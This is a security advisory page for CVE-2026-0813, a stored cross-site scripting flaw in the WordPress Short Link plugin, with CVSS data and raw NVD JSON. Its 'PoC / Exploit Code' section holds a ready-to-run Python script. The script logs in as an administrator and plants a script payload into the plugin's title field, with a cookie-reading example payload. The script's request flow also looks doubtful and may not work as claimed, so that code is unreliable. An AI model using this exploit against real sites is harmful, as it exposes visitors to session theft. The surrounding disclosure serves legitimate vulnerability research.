Security Vulnerability Report
中文
CVE-2026-0813 CVSS 4.4 MEDIUM

CVE-2026-0813

Published: 2026-01-14 07:16:16
Last Modified: 2026-04-15 00:35:42

Description

The Short Link plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'short_link_post_title' and 'short_link_page_title' parameters in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Short Link插件 <= 1.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2026-0813 PoC - WordPress Short Link Plugin Stored XSS # Target: WordPress with Short Link plugin <= 1.0 def exploit_stored_xss(target_url, username, password, xss_payload): """ Exploit for CVE-2026-0813: Stored XSS in Short Link plugin Parameters: - target_url: Base URL of WordPress site - username: WordPress admin username - password: WordPress admin password - xss_payload: Malicious JavaScript payload to inject """ session = requests.Session() login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post-new.php" # Step 1: Login to WordPress as administrator login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': post_url } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wp-admin' not in response.url and 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Create new post with XSS payload in short_link_post_title post_data = { 'post_title': 'Test Post for CVE-2026-0813', 'content': 'This post contains a stored XSS payload.', 'short_link_post_title': xss_payload, # XSS injection point 'action': 'editpost', 'publish': 'Publish' } print(f"[*] Injecting XSS payload: {xss_payload}") response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Post created with XSS payload!") print("[*] Any user visiting this post will execute the injected JavaScript.") return True else: print("[-] Failed to create post!") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <xss_payload>") print("Example: python exploit.py http://target.com admin admin '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0813", "sourceIdentifier": "[email protected]", "published": "2026-01-14T07:16:16.027", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Short Link plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'short_link_post_title' and 'short_link_page_title' parameters in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page."}, {"lang": "es", "value": "El plugin Short Link para WordPress es vulnerable a cross-site scripting almacenado a través de los parámetros 'short_link_post_title' y 'short_link_page_title' en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel de administrador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a la página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/short-link/tags/1.0/short-link.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/short-link/trunk/short-link.php#L118", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8623d2cc-dcdd-4453-9a86-669bdd44eae1?source=cve", "source": "[email protected]"}]}}